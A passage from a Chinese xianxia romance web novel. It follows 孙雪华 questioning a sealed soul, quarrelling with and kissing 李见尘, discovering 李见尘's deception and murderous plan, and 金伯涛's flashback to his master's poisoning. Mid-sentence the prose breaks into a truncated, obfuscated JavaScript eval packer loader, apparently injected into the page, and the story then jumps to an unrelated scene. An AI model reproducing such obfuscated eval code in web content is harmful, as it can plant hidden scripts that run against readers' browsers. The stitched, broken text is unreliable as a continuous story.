无人回应,唯有那缕不知来历的气息拂过他的眼睫,犹如空谷山风,细细密密地落下。孙雪华不由地揉了揉眼睛,这种感觉有点熟悉,好像他第一次见到李见尘的时候,就曾经感知过。他原先以为那是宝珠散发出来的气息,但现在看来,又不尽然。 “你需要我为你做些什么吗?” 孙雪华问着,试图再靠近些,可他漂浮在水中,周围似乎圈起了一层结界,柔软坚韧,既像是在保护他不被江水侵蚀,又像在刻意阻止他的前进。 多年来的修行经验告诉他,这个结界并不是石柱中的“人”造成的,更像是某种不可抗拒的强大外力。 孙雪华回忆了一下自己意识下沉前的一切,推断目前的情况,可能是他动了李见尘的那颗宝珠的缘故。 看来那颗珠子大有玄机。 只是,它和这个石柱,和石柱里的“人”,究竟什么关系呢? “你就是李闻棋吗?” 孙雪华又问。 周围的气息依然密密麻麻地扑在他的脸上,潮湿的,却不觉得冷,像绵绵春雨,十分柔和。 孙雪华沉吟片刻:“你在否认这一点吗?” 徘徊的气息忽然停了,江水中冒出了一些奇怪的水泡,打着旋儿往下面的石林钻去。 孙雪华又问:“你与宋涟、黎思之,是师兄弟?” 依旧是春风拂面。 孙雪华了然。 石柱之中的“人”明显是有记忆的,与他们之前撞见的宋澜的尘缘不同,这个“李闻棋”极有可能是个完整的魂魄。他被人用术法拘禁于此,不得转生,不得与外界相通。 但是—— 孙雪华问道:“你能向我传达信息,是因为我的灵力融入了那颗宝珠之中,是吗?” 风未停。 孙雪华低眉沉思。 “李闻棋”能够借宝珠之力,与自己对话,证明他与李见尘关系匪浅。可“李闻棋”的死,却是由宋忱一手造成的,为何李见尘会出现在宋家?还会被奉为上宾?宋家活人炼丹,手足相残,谋害无辜之人,这一桩桩,一件件,要是被人捅破,那就是滔天大罪,宋忱怎么可能糊涂到请李见尘来解决此事? 孙雪华抬眼,定定地注视着“李闻棋”:“李见尘是不是有什么把柄落在宋忱手里?” 周围那股温和的气息突然消失了。 “你不知道吗?” 微风再起。 孙雪华揉揉眼睛,感到一丝疲惫。他感到有人在抱着自己,不知道是不是上面发生了些意外。 他决定速战速决,问道:“这个江心洲,几年前曾经闹鬼,是不是你?” 回答,不。 孙雪华一愣:“难道,是宋涟?” 答案,对。 孙雪华有些惊讶,宋涟身死,却在江心洲上游荡,不曾投胎转世,这是为什么?死去多年的魂魄,若是长时间停留阳世,极有可能异变,成为怨灵恶鬼。 “谁将你囚禁于此?宋忱?” 答案,否。 “宋漪?” 答案,是。 “宋忱知晓这件事吗?” 答案,不知道。 孙雪华还想继续追问,却听见那微风之中,传来一声飘渺的呢喃,他仔细聆听,才勉强听出来一个类似于“救”的音节。 “救谁?” 这个问题,“李闻棋”回答不了,他的力量只被允许发出是或者不是的信号。 “宋涟?” 不是。 “宋澜?” 不是。 孙雪华略感困惑:“宋鸿?宁展阳?金伯涛?” 都不是。 孙雪华很奇怪:“金伯涛是不是你徒弟?” 不清楚。 不清楚?孙雪华眼神微转,换了个问题:“你被囚禁在这里三十年了,是吗?” 对。 “这个江心洲存在了最起码三十年,对不对?” 是。 “宋涟去世的时间和你差不多,如果他一直停留在这个江心洲,为何前几年才被人发现?江心洲明明存在三十多年了,为何对外宣称近几年才刚刚建成?” 孙雪华喃喃自语,还有就是,“李闻棋”想救的人是谁?总不能是李见尘吧? 心头一震。 他甚至不知道是为什么,反应过来的时候,这句话已经问出了口。 答案是,是的,是这样的。“李闻棋”在拜托自己救李见尘。 什么意思?有什么事情威胁到了那人的生命安全吗?难道宋忱就是以此为要挟,好让李见尘乖乖为他做事? 孙雪华想到今天李见尘摔进江中之后,那宝珠和他本人发生的变化,无论如何,都不太一般。 “我明白了。” 孙雪华点点头,那缠绕在他身侧的结界陡然消失了像一个水泡无声地破裂,他的意识重新回到身躯之中,神魂合一的那一刻,身上的重量让他多少有些不适。 孙雪华睁开眼,发现自己正坐在李见尘腿上,窝在这人怀里,而对方正紧紧抱着他,那姿势实在过于紧密,孙雪华差点以为自己要被捂死了。他艰难地搡了一下这人,李见尘猛地抬头,那张漂亮的脸又蹭到了他的唇,孙雪华愣了愣,朝后仰起脖子:“松开。” 李见尘不知道又在发哪门子疯,抱着他一个劲儿地叫:“太好了,你终于醒了!” 孙雪华:“……” 他去推这个人,没想到对方用了更大的力,他一下子竟然没推开。 孙雪华:“……” 算了,现在和他较劲,这个无赖肯定没完没了。 孙雪华无奈地选择屈服,他甚至悄悄调整了一下自己的姿势,好躺得更舒服一些。果不其然,李见尘看他没反应,没一会儿就松了手,孙雪华被他抱着抱着都快睡过去了,眯着眼,看了他一会儿,才默不作声地起身。 天就要亮了。 “走吧,我们也该去见一见那位二小姐了。” “她还没回来。” “这江心洲出了这么多事,她会一直作壁上观吗?说不定,她其实并没有离开过这个地方。” 李见尘敛了笑意:“此话怎讲?” 孙雪华深深地看了他一眼:“李门主当真不知吗?” “我?我应该知道什么?” 绕来绕去,还是在试探他。 李见尘又想起尹晓棠提及的“信任”二字,脱口而出:“孙掌门,你信任我吗?” 孙雪华不言,对方似是在自嘲:“对孙掌门而言,信任远比喜欢和爱,更难得吧?” 孙雪华不明白他又在阴阳怪气些什么,只能如实回答道:“我的爱建立在我的信任之上,我认为信任才是感情的基石。” 李见尘又想到他那一大通大道理,嘴一撇,很不高兴的样子,孙雪华更为不解,可看看天色,又觉得不能再与人纠缠,便抽身离开了。李见尘没有得到他想要的答案,又晃晃悠悠地跟在他后头。 “五柳山庄的那个小姑娘去找金伯涛了。” “嗯。” “金伯涛将他从五柳山庄带出来的骨韘全部嵌在了缚灵铸器的灵阵上。” 孙雪华回头:“你为什么说是嵌在灵阵上,而不是这些骨韘共同构成了这个灵阵?” 李见尘一顿,笑了笑:“孙掌门未免太敏锐了吧?” 他轻叹一声,心甘情愿败下阵来:“你说得很对,缚灵铸器之阵对施术者要求很高,以金伯涛的实力,他无法布下如此庞大的灵阵,所以他只能将骨韘嵌进去,以图后事。” “整个江心洲,目前和我交手的所有人,都没有这个实力。” 孙雪华有了个大胆的想法:“你说,李闻棋死后,他会不会就被封印在江底石柱之中,幕后黑手借他之力,从而发动这个法阵?” “不排除这个可能。” “若是如此,李闻棋必定遭受了非人的虐待。” 孙雪华垂眸,忽然抓住李见尘的手,催促道:“我们要快一些了,否则等到天亮,那些宾客上 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孙雪华无法理解,明明是这个人胡说八道,胡搅蛮缠,不断搅局,最后倒成了他的不是。他猛地将人拽了过来:“听着,若是我们失败,那李闻棋就白死了。” “本来就是!” 这句话似乎是戳到了李见尘的痛处,他当即甩开孙雪华的手,很是愤怒,“我养他这么大,是我没有告诉过他,宋忱非是善类,此人不除,必有殃灾吗?是我没有提前向他示警吗?是我终年不问世事,害死他的吗?” 孙雪华一怔,李见尘握紧指节,复又松开,那积压许久的新仇旧恨并没有冲垮他名为理智的堤防,他压低声音,嗤笑一声:“所以他活该啊。因为他不忍心林采荷伤怀,不忍心宋涟伤心,更狠不下心和黎思之决裂,他口口声声说,这是为了听海崖,为了这虚假的和平,为了这可笑的团结、传承!他甚至可以说是为了我,为了我的术法不会后继无人,不会传承断绝!” “但我早告诉他了,我在地宫沉睡了几百年,对这些东西,根本无所谓。” “你说李闻棋,考虑那么多有何用?他的师父、师弟全都要他死。” 李见尘眯了眯眼睛:“是我隔岸观火,袖手旁观,不肯救他吗?是他自己心甘情愿往火坑里跳,他活该。” 孙雪华听了许久,默然片刻,抓了些重点问他:“李闻棋的师父?林采荷也知道宋忱做的手脚吗?” “知道如何,不知道又如何?自己最得意的弟子突然死了,换做是你,你会怎么做?就这样抛下听海崖的一切,跟一个衣冠禽兽回去南下?那我是该说她懦弱无能,还是该说她愚不可及?” 李见尘并不清楚林采荷在这个故事里扮演了怎样的角色,他只是单纯地憎恨对方的选择。因为她的选择,才导致了宋忱的有恃无恐。 孙雪华见状,走过去抱住他,轻轻拍了拍他的背,哄道:“别生气了,正事要紧。” 李见尘明知道不该、不能,但还是忍不住要挠他一下:“我就生气,是你先惹我的。” 孙雪华:“……我也没想到你会这么生气,那天揍你的时候,你都还嘻皮笑脸的,我以为你就是一个很没心没肺的人。” 李见尘:“……” 更生气了。 他眉头一皱,推开这人,孙雪华摸了摸他的脸,忽然垫了下脚,亲了亲他发红的嘴唇:“快走吧,不要再耽搁了。” 李见尘:“……我没心思和你做这种交易。” 孙雪华蹙眉:“我没和你做交易。” “那你亲我做什么?” “你不是生气了吗?” 说完这句话,孙雪华自己先反应了过来,一把撒开了他,转身就走。李见尘愣了一会儿,忽然心神一动:“孙掌门,你不会真的喜欢我吧?你是不是自己不知道啊?” “闭嘴。” “哦。”李见尘若有所思,快步追了上去,拉住这人的衣袖,孙雪华似乎正急着赶路,并没有甩开他,李见尘顺势而为,握住了这人的手。 “天好黑啊,一起走吧。” 孙雪华看了眼已经开始泛起曙光的天边,心下叹了一句“无赖”,便紧紧攥住某人的手,带着他直往某处奔去。 36. 第 36 章 他们又一次回到宋漪的住处。 四野寂静,空无一人。 孙雪华第一次来,只远远地看了眼她的书房,就被突然出现的“宋澜”打断了,第二次来,只找到一个陈旧的剑穗,又因为宋鸿的事情而暂时终止,如今第三次过来,李见尘感到不解:“不是已经找过好多遍了吗?为什么还要来?” “你知道那天,我为什么说,夜里要开坛设法吗?” 李见尘略略思索:“因为你那个时候就怀疑,驱使宋澜的幕后之人,就藏在这个地方。” “对。” 孙雪华的手搭在了自己的灵囊上,两指勾出了那张封印着宋澜尘缘的纸符,神色凝重:“宋鸿没有灵力,不会术法,他无法驱使这缕尘缘行动,而这尘缘初次露面,却被裹上了一层可怖的外衣。” “有没有可能,这个幕后之人,当时就藏在这个院子里,只是见到我们闯了进来,才不得不利用宋澜,吸引我们的注意力?” 李见尘摇摇头:“有一点说不通,当时宁展阳想要杀掉你,就算宋澜不曾现身,你也会被宁展阳拖住,那个幕后之人,不一定会被你发现。” “这件事,其实细想的话,非常奇怪。” 孙雪华举起那张纸符:“所有人对宋漪的描述都十分一致,端庄稳重、秀外慧中,喜爱读书,侍弄花草,她院子里的林木也比别处多上许多。” “这个地方,和宁展阳见到的,那个活人炼丹的场地非常相像。” “但宁展阳如果真的忠于宋漪,那他为什么不在见到我们的第一天就将我们驱逐,而是要假意协助我们,并在此处设计击杀我们呢?单单是引导我们来到此地,就已经是非常危险的一步棋了。” “所以我还是倾向于,宁展阳是为了给宋涟报仇,才故意将这些事情闹大,将这个浑水越搅越黑,这样,他才方便坐收渔翁之利。” 孙雪华手中薄薄的纸符微微晃动,发出细微的沙沙声:“我说过的,尘缘只会出现在与她息息相关的人,或者物品附近,能够驱使她的人,也必定不会太远。因为尘缘易散,它不完整,没有执念,没有目的,只会映射出主人生前的行为轨迹,要驱使它,就必须要靠近它,否则距离的变化,就会让它如同脱线的风筝飞远。” 他说着,很是笃定:“那天,这个院子里一定还有别人,我猜,就是宋漪本人。” “这江心洲上天罗地网,宁展阳非她心腹,金伯涛力有不及,她会一个人待在镇上老宅,久不露面吗?” 李见尘听了,只是笑笑:“小雪真厉害,那接下来,你要怎么做呢?再次开坛设法?” “来不及了,一切只能从简。”孙雪华又看了眼身边这个人,想到他那捉摸不定的性格,不免轻叹,,“你过会儿保持安静,可以吗?” “嗯?我现在很安静啊。” “我的意思是,不管你有何目的,有何委屈,能不能忍到此次风波平定?” 李见尘反应过来:“原来孙掌门是怕我又坏了你的好事啊。” 他抿了抿唇,笑着:“看在那个吻的份上,我就勉为其难地答应你。” 孙雪华:“……我并不是怕你坏事,我是怕你受伤。” 李见尘愣了愣,就见对方又朝前走了几步,两指夹着那张符纸,竖在身前,微弱的天光之下,一道冷冽的灵力骤然铺散,犹如银河直落九天,以他们为圆心,迅速弥漫开来。那张符纸在灵力的冲击下不断摇摆,簌簌轻响,宋澜逐渐现形,身躯之外延伸出一道又一道绳索似的线条,通向未知的远方。 “宋澜,今日这江心洲上,一定有与你紧密相连之物,请你告诉我,他们究竟藏身何处。” 孙雪华翻转掌心,灵符乍燃,宋澜身上的线条以极快的速度向某一处聚集。孙雪华单手施术,打出一掌,就见那昏暗的角落里传来一声脆响,如银瓶乍裂,又似巨物轰然倒塌。 “是结界。” 孙雪华收势,只见一道黑影缓缓从角落深处走了出来。 身似松柏,背负长剑,一根三指宽的金色飘带蒙住了他的双眼,顺着胳膊缠绕而下,拖在了地上。 孙雪华一愣,瞥了眼李见尘,对方似笑非笑:“这打扮,和阿音真像。” 来者面色微白,口衔金箔,长长的头发被束成了低马尾,垂在身前。 那个鬼影,像个剑客。 小夏的话犹言在耳,孙雪华顿时心神一凛,正声道:“来者,可是宋涟?” 对方不言,只是拔出佩剑,剑光熠熠,鸣声琅琅,更衬得他极为不凡。 孙雪华忽地一愣,他怎么觉得,这个声音有点耳熟? 数十年沧海桑田,风云变换,他历经千帆,遇人无数,许多陈年旧事都被遗忘在脑后,能让他记得并且印象深刻的人或事,并不算多,而此情此景,却是有种微妙的熟悉感。 孙雪华蹙眉:“我与阁下,是否见过?” 此话一出,最先有了反应的,却是李见尘。他转了转手中长箫,抵在腰侧,半开玩笑道:“三十几年前,小雪是临渊掌门,那时候的临渊和听海崖,并无来往。” 孙雪华不语,沉默片刻:“不,一定见过。那把剑,我一定在哪里见过。” 陌生的剑客未曾应答,只是持剑,缓慢地朝二人走来。孙雪华伸手,将李见尘挡在身后:“你退后。” 某人挑眉,却是从背后一把搂住了他的脖子,笑着,“孙掌门手中无剑,怎么和人过招呢?” 孙雪华抬手,抓住了对方的手腕:“借李门主法器一用。” “大敌当前,我岂能置之不理?只是呢——”李见尘故意抱住他,往后退了一步,孙雪华微微仰头,靠在了他颈侧。 “只是什么?”孙雪华不解。 “不要打断他蒙眼的金带,也不要打坏他衔着的金箔,否则他会立刻异变,与我们不死不休。” 李见尘轻笑,手一松,那根长箫便落在了孙雪华手中。他头一偏,亲了亲对方的侧脸:“我相信孙掌门,一定有两全之法。” 言罢,他便迅速松了手,像是怕挨打似的,向后退了好几步。 孙雪华根本没有搭理他,只是握着那根长箫,信手转了个圈,灵力聚集,强大的气场布散开,那木质的长箫仿佛在一瞬间变成了一把利刃,无声地散发出寒光。 陌生的剑客走得很慢,似乎并不急于进攻,又或者,他在等待某个指令。 孙雪华注视着他,从他握剑的姿势、行进的步伐、金色飘带卷起的弧度,心里很快就有了底。 “阁下若是有苦衷,不如坐下,与我谈谈?” 话音未落,那剑客便以迅雷不及掩耳之势出了第一招,如疾风骤雨,横扫八荒,孙雪华侧身一步,左脚踩住那下劈的剑锋,直接将那锋利的剑器踩进了泥地里,右脚顺势一个飞踢,正中对方腕骨,只听“咔嗒”一声脆响,剑客的手腕以一种扭曲的姿势松开了剑器。孙雪华向前半步,持箫一击,正中对方肩胛骨,剑客踉跄着要往后倒,孙雪华单手掐诀,乘胜追击,封住了他的奇经八脉,将他固定在了原地。 “我的天啊。”李见尘扶额,现在看来,孙雪华没有打死他,真的是很爱他了。 剑客一动不动,像一尊静默的雕塑,伫立在黎明之前。 孙雪华收势,捡起地上的长剑,握在手中,仔细看了看,那剑柄上刻着简约大气的花纹,中间镶了一颗松绿色的宝石,剑身通透锋利,的的确确是一把好剑。 可他实在想不起来,究竟在什么地方见过了。 孙雪华轻轻一抛,那长剑入鞘,剑客的指节动了动,像是在回应他。 孙雪华再次施术,放出宋澜的尘缘,可这院子寂静一片,再无回应。他垂眸,有些想不明白:“难道,宋漪真的不在这个江心洲?” “马上就天亮了,说不定她已经在渡口,准备上岛了。”李见尘缓缓走了过来,孙雪华将他的长箫还给他:“多谢。” “小雪太客气了,你不是早就谢过我了吗?”李见尘点了点自己的唇,孙雪华并没有接话,而是问那个剑客:“你能听到我说话吗?若是可以,就动一下手指头。” 没有反应。 “阿音姑娘明明可以和我们正常交流,为何他不行?”孙雪华不解,李见尘笑笑:“他被封住了七窍,自然听不到你说话。” “七窍?他耳朵里也有金箔?” “应该是的,但你最好不要取下来,否则会发生什么,我不保证。” 孙雪华眼神一沉:“李门主,这个术法,你不解释一下吗?” “唔,这个嘛,”李见尘很会审时度势,他知道这件事说出来,一定会触到对方逆鳞,便避重就轻地说道,“这个术法,原本是为了避免身死之人发生异变,成为怨灵恶鬼,但这么多年过去了,恐怕早被有心之人利用,变成了一种邪术。不过,我倒是有个办法,能让他回应你。” “什么办法?” 李见尘招招手,示意他让一让,孙雪华便站到了一边,李见尘施术,将剑客耳窍中的金箔勾了出来。 孙雪华:“……你不是说取下来很危险吗?” “我只是说不知道会发生什么,所以取下来看看呀。”李见尘一脸无辜,“何况不是还有孙掌门在此?我应该不会有性命之忧。” “……” 李见尘眨眨眼:“不要怪我嘛,我也是冒着极大的风险做这个决定的。” 孙雪华:“……” “无赖。”他终于忍无可忍,轻声骂了一句。 “哎。”李见尘居然还答应了,孙雪华握拳,他又捂住了脸,调笑着:“别打脸。” “……” 感觉和这人待久了,会折寿。 孙雪华放下手,再次站到那个剑客跟前:“你是宋涟吗?是的话,就点了下手指。” 没有反应。 “不是吗?”孙雪华陷入沉思,李见尘挪到他身边,还是那副不正经的嘴脸:“哎呀,孙掌门,我忘记和你说了,一般被施以此术之人,都会忘记生前身后事。” “……” “他们会被施术者赋予新的身份,新的记忆,成为施术者的犬牙,或者,别的什么。” 李见尘说着,眼睛直勾勾盯着孙雪华,似乎很好奇对方接下来的反应,可少年人只是冷着脸,并不言语。 是不是真的惹到他了?李见尘不知为何,并不像先前那样兴奋,反而隐隐担忧起来。 半晌,孙雪华才道:“阿音可以在地上写字,那他是不是也可以?” “这要看施术者有没有赋予他这个能力了。有些人很变态的,会剥夺他们的一切权利,让他们彻底沦为某种工具。”李见尘摸摸下巴,沉吟着,“如果是这种情况,我就没有办法了。” “……” 孙雪华愠怒不已,可他没有发作,只是闭了闭眼,似乎是想靠这种方式压下即将爆发的怒火。李见尘不怕死地戳了戳他的嘴角:“孙掌门,你怎么了?你不要太担心,车到山前必有路,船到桥头自然直啊。” 孙雪华抽出一张纸符,这张符和他先前用过的完全不一样,符文繁复,如同绚烂的春花,散发着极为蓬勃的力量。 孙雪华闭上眼,强悍的灵力拔地而起,吹起了他的衣摆、袖口、发尾,犹如一道飓风,以他们为中心,形成了一个漩涡似的巨大灵阵。 一时间,天旋地转,日月倾倒,李见尘眨眼的瞬间,他们就出现在了阿音面前。 “主人。”阿音欢快地飘了过来,见到那个陌生剑客,却忽然心神不宁,躲在李见尘身后,不动了。 孙雪华看都没有看这对主仆,带着那个剑客,走到宁展阳跟前。对方还在昏睡,并未清醒。 既然这个剑客无法回应,那只能问问他了。 孙雪华想着,解开宁展阳身上的术法,唤道:“守卫长?守卫长?” 李见尘眯起眼睛,阿音一把抓住他的衣袖,他轻声道:“没事的,乖宝。” 小雪毕竟是个心善的人啊。 李见尘笑着,眉眼弯弯,看上去无辜又可爱。 宁展阳悠悠转醒,见到孙雪华,头脑还不够清醒,他挣扎着站起来,却看见了对方背后的那个剑客,神色一变:“李师兄?” 孙雪华一怔:“李师兄?李闻棋吗?” 宁展阳眉头紧锁,点了点头。 孙雪华愕然,仿佛是冰冻三尺的湖面忽然裂开了一道豁口,深不见底。他转身看向李见尘,对方还是笑眯眯的,一脸平静:“怎么了?小雪如若有事相求,我必定赴汤蹈火,在所不辞。” “如果这是李闻棋,那江水石柱里的人,究竟是谁?若这是李闻棋,那你为何要隐瞒于我?” 孙雪华感到了前所未有的愤怒。 他知道李见尘喜欢耍无赖,喜欢撒谎,喜欢玩弄人心,可他没有想到,对方竟然能作弄他至此。 “孙掌门不是一直在试探我吗?现在露出这副表情,好像你从来都很信任我一样。”李见尘仍是笑着,内心却没有感到很轻松,他知道,这人应该不会原谅他了,但想到将来鱼死网破,竟也觉得可惜。 “孙掌门,你既然知道我是个骗子,怎么会掉以轻心呢?该不会是真的喜欢我,所以不知不觉放松了警惕吧?” 李见尘歪了歪头,又看向宁展阳,“还有守卫长,我实在不知,为何你一定要与我作对,难道我们之间,是有什么深仇大恨吗?你要杀宋忱杀宋漪,杀掉这江心洲上所有人,你我的目的是一致的呀。” “哼。”宁展阳冷笑,“和你这种冷血之人,无话可说。” “哦~”李见尘尾音上扬,十分轻慢,“原来你是怪我,不曾救宋涟一命啊。” “你也配直呼我主名讳!” 宁展阳大喝,却突然闷哼一声,捂住了心口,一股剧痛从骨髓深处传来,他猛地咳嗽起来,七窍流血。 孙雪华见状,扶了他一把,却被对方甩开,宁展阳的眼神依旧凶狠,充满攻击性。 “啧。”李见尘不悦,手指一勾,那剑客瞬间回到了他身后。 孙雪华警惕地注视着他:“李门主,意欲何为?” “当然是杀掉这个江心洲上的所有人。” 李见尘举起他的长箫,那颗宝珠无声地摇晃着,璀璨如星。 “我的宝珠,需要足够的力量突破封印。这朵莲花盛开之时,才是我彻底回到人间之日。” 孙雪华蹙眉:“这颗宝珠,不是你的封印吗?” “哈哈,孙掌门是真的信任我呀。” 孙雪华攥紧指节,只听对方又道:“我一直沉睡,是因为我没有足够的力量,离开那个地宫。那个八角井,还有锁着这颗宝珠的莲花扣,都是压在我身上的封印。” “但是这颗珠子,真的很漂亮,对吗?越是漂亮的东西,越具有迷惑性,连孙掌门这般见多识广之人,都认为它定是个能拯救苍生的宝物。” “可惜它不是。” 李见尘笑着,人畜无害:“这颗宝珠被你带走之后,吸收了无渡峰上的雷场之力,我这才得以脱身呐。” 孙雪华感觉当头一棍,打得他气血翻涌,头脑发昏、发烫、发沉。 “所以,并不是宋忱召唤你前来,而是你自己——” “非也。”李见尘打断了他的话,“我确实是被召唤至此,当然,一切只是顺水推舟罢了。” 某人笑笑:“说起来,这还要感谢守卫长,若不是他向宋忱进言,请我过来,我还真没有合适的理由进到这江心洲。” “让我来猜猜,守卫长是想将我们一网打尽吧?可惜,总有人比你快一步。” 宁展阳满脸是血,可心中积怨难消,眼神像淬了毒一样,死死盯着他:“有人?什么人?宋漪吗?” “对。” 李见尘微叹,“你不够聪明,但对宋漪,倒是很了解。” 孙雪华冷冷地看着他:“你被请来,是因为庄上有护卫失踪,宋忱向你求助,可这样根本说不通,那些护卫若是被投入丹炉,化为灰烬,宋家应该拼命隐瞒才对。” “很简单,因为宋忱根本不信任宋漪。他年纪大了,越是畏惧死亡,渴望长生,可多年来,却始终不得其法。宋漪多年来炼丹制药,也一直没有进展,父女之间,逐渐就生了嫌隙。” “宋忱怀疑宋漪得了妙法,却不肯告诉他。这个时候,只要有个推手,轻轻推那么一把,我不就能来了?” “推手?”孙雪华喃喃着,忽然提紧了心,拉上宁展阳便要离开此地,一道结界陡然耸立,拦住了他的去路。 “孙掌门,带上一个伤患是走不了的。”李见尘转着他的长箫,“看来你已经猜到了。” “那个推手,就是金伯涛。” “他就是李闻棋的徒弟,我的乖徒孙呢。” 李见尘笑笑:“孙掌门很担心那个小姑娘吗?我倒是很好奇,他们究竟谁能更胜一筹。” 孙雪华脸色凝重,默默松开了宁展阳,说道:“守卫长,可否借你的戒鞭一用?” 对方一顿,便将腰上的那根戒鞭拆了下来,交给他:“你很识货。” “我第一次见你用这戒鞭,就感觉它与众不同。” 孙雪华将那戒鞭尾端的绳子扯开,破坏掉上面的封印,一把清辉卓绝的冷剑赫然在手。 对人,他可能不会记得,但对剑,却是过目不忘。这把剑,包括李闻棋或是宋涟,他定是在哪里见过,但现在却不是追究这件事的时候。 孙雪华上前一步:“李门主,让还是不让?” 李见尘啧啧两声,还未言语,对方就冲了过来,剑气横绝,吓得阿音跪坐在地,紧紧抱住李见尘的腿。 “当啷——” 那个剑客挡下了孙雪华的攻击。 “你是李闻棋,那江底石柱中的人,又是谁?” 孙雪华愤然低喝,他平时里几乎不动怒,李见尘能逼他至此,也算一种本事。 “自然也是李闻棋。”李见尘轻叹,“肉身与魂灵分离,孙掌门应该也见过?” “说起来,我很奇怪,李闻棋的魂灵在我这里,为何你在江底还能与他对话?” 李见尘直到这个时候,还在哪壶不开提哪壶:“孙掌门,你不会是一心念着我,又不好意思直说,所以才找了这么个托辞吧?” 孙雪华不言,挽了个剑花,剑气如北风呼啸,冷冽入骨,李见尘不由地闭了下眼睛。 看样子,小雪当真气得不行。 李见尘心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“可是时间对不上。”金伯涛还是那样和缓地说着话,像是怕吓到这个小姑娘,“听着,我不是比你大几岁,我是比你大很多岁。” “师父去世的那天,我也受了伤,祖师爷为了救我,将我泡在药池里,让那些毒-药慢慢溶解,我这才保下了一条命,但也因此很多年没有长大。” 金伯涛看了看天色,知道快要到约定的时辰了,便说道:“今日,就是为师父复仇的日子,晓棠,你也失去过父母,失去过许多朋友,你能理解我的,对吗?” 尹晓棠瞪大了眼睛:“这到底是怎么回事?你找我来,就是为了你的复仇大计吗?” “不全是。”金伯涛默然片刻,“这件事,说来话长。” “三十年前,听海崖,无晴门,我师父李闻棋,是林采荷的首徒,也是宋涟、黎思之的师兄。他是整个师门的骄傲,你知道,我们听海崖向来偏安一隅,默默无闻,而我师父,是唯一一个在当时,少有名气的一位修者。” “他剑法卓然,术法也有大成,虽然不及孙掌门那般名扬四海,却也是一位少年英才。” 金伯涛那时候,也不叫金伯涛,他有自己的名字,叫胡文灿,李闻棋喜欢叫他灿灿,因为小时候他长得像个年画娃娃,肉嘟嘟的,非常讨喜。 当然,可能也和李闻棋本身的性格有关。 他很喜欢笑,嘴角有两个酒窝,笑起来如沐春风,让人很有亲近感。只是他生不逢时,纵然天资卓越,勤奋刻苦,出了这听海崖,也同样无人问津。 “孙掌门能年少成名,也和他出身临渊有着莫大关系吧。”金伯涛想起师父,自嘲着,“像我师父那样的,就算再努力,也无法一朝鱼跃龙门,闻名于世。” “你又不是孙前辈,你怎么知道他不努力?” 尹晓棠辩驳着,为孙雪华鸣不平:“他定是付出了比常人更多的努力,才能在人才辈出的临渊杀出重围。他不及弱冠就是临渊掌门了,这可比天下闻名难多了。” “呵。”金伯涛笑笑,不和她争辩,“你若这么想,便这么想吧。” 他继续说道:“林采荷育有一子一女,儿子叫宋涟,女儿叫宋漪,这个,我想你都知道。” “嗯。” “宋忱为了让他儿子成为听海崖掌门,所以毒杀了我师父。” 尹晓棠抿着唇,像是要哭了:“你要是难过,我帮你去找宋忱报仇,你不要做傻事。” 金伯涛摇摇头:“但我觉得,其实我师父,应该看出来他们的心思。” 那时候,他才七八岁,刚好是懂事的年纪。他觉得师父不像以前那么爱笑了,笑容变得苦涩,变得心事重重。 “师父。”金伯涛爬上悬崖,看着立在崖边,吹着海风的李闻棋,那个人衣袂翻飞,发尾摇曳,凝目眺望,似乎有什么事情压在心头,不可言说。 李闻棋听见了他的声音,回头笑了笑:“灿灿。” “师父,你不高兴吗?” “我没有不高兴。” “师父,你不要担心,我相信你将来一定能出人头地,闻名于世的。” 金伯涛以为他的忧愁,来源于不得其志,可李闻棋只是拍拍他的头,轻叹道:“你还小,等你长大了,就知道了。” 金伯涛抓住他的衣袖:“师父,我不小了,你可以和我说的。” 李闻棋抿着唇,一时无言,他好像要流泪,眼睛里雾蒙蒙的,可又没有哭,只是拍拍他的头,叮嘱道:“灿灿,如果以后出了事,你就往地宫里跑,知道吗?” “地宫?” “嗯,祖师爷会保佑你的。” 李闻棋只留下这句话,便无声无息地走了。 金伯涛长大后再想想,也许那时候,师父就预料到有人要谋害自己,可是出于某种原因,他并没有明说。也许他还心存侥幸,觉得宋忱不会狠毒至此。 但最终,还是他的善心害了他。 那天夜里,金伯涛被一声巨雷惊醒。他吓得从床上爬起来,裹着床单去找师父。天下起了大雨,到处都是轰鸣的雷声。金伯涛嘟囔着:“老天啊,你是要劈死哪个混蛋?” 然后他便看到李闻棋七窍流血地倒在了地上。 那张原本温柔的脸,已经全是血污,猩红的热血从他的眼眶中流了出来,血色的眼瞳中映照出了那个熟悉的幼小的身影。 李闻棋伸出手,挣扎着吐出字:“跑……跑……” 金伯涛吓得跌坐在地,铺天盖地的雷雨中,有两个人的身影若隐若现。 他看见了,是宋忱和黎思之。 “师……师父……” 金伯涛像是被什么东西扼住了脖子,令他无法出声,无法呼吸。 其中一个人走了出来。 是黎思之。 金伯涛突然崩溃大叫:“师父!师父!” 他爬了起来,朝着地宫拼命地跑,黎思之穷追不舍。金伯涛大叫着:“救命!救命!” 他猛地撞到一个人,可磅礴的大雨糊住了他的眼睛,他根本看不清对方的脸,只发疯般地冲了出去。 他闻到了一股熟悉的香味。可那时候,他已经无法思考了。 他感觉身后有无数道冷风破开这冷雨,向他打了过来,身上裹着的床单好像破了无数个洞,他感到后背一阵剧痛,但他咬着牙,拼命奔跑着,终于一头撞开了地宫的大门,踉跄着冲了进去,从那个八角井上翻了下去,掉进无人的深渊。 直到后来,金伯涛再次苏醒,才知道那天的剧痛,不是冷风带来的,而是一支又一支带毒的暗器。 都是黎思之的暗器。 他的师叔,为了杀他,足足射出了八十七支暗器。 “我居然没死。” 醒来的金伯涛自言自语,一直没能流下的眼泪如同决堤那般,簌簌而下。他回想起自己那天撞到的人,撞到的那个没有看清脸的人,想到那个熟悉的味道,心里更是痛苦万分。 他怀疑那个人是林采荷,是他的师祖,李闻棋的师父。 可他不敢说,他不敢告诉任何人这件事,因为他没有证据。他醒来后,只得到了林采荷离开听海崖,并在那不久后离世的消息。 自那之后,金伯涛活下去的理由,就只有一个——为师父复仇。 “复仇吗?” 八角井下传来一声轻柔的笑声,和他师父简直一模一样。 金伯涛顿时跪了下来:“请祖师爷成全。” “不必行此大礼,起来吧。” “是。” “我如今被封印于此,多有掣肘,救你已经是极限。这样吧,你往北边去,去五柳山庄,找他们的庄主,明逸,他与闻棋是忘年交,为人赤诚,应当是可以帮你的。” 